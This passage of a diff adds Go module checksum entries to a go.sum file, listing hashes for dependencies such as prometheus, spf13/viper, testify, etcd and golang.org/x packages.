+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= +github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= +github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= +github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg= +github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= +github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= +github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= +github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= +github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= +github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= +github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= +github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= +github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= +github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= +github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/seccomp/libseccomp-golang v0.9.2-0.20210429002308-3879420cc921/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= +github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= +github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= +github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= +github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= +github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= +github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= +github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= +github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= +github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= +github.com/spf13/afero v1.8.2 h1:xehSyVa0YnHWsJ49JFljMpg1HX19V6NDZ1fkm1Xznbo= +github.com/spf13/afero v1.8.2/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= +github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= +github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= +github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= +github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= +github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= +github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= +github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= +github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= +github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= +github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= +github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= +github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= +github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= +go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= +go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= +go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ= +go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= +go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= +go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= +go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= 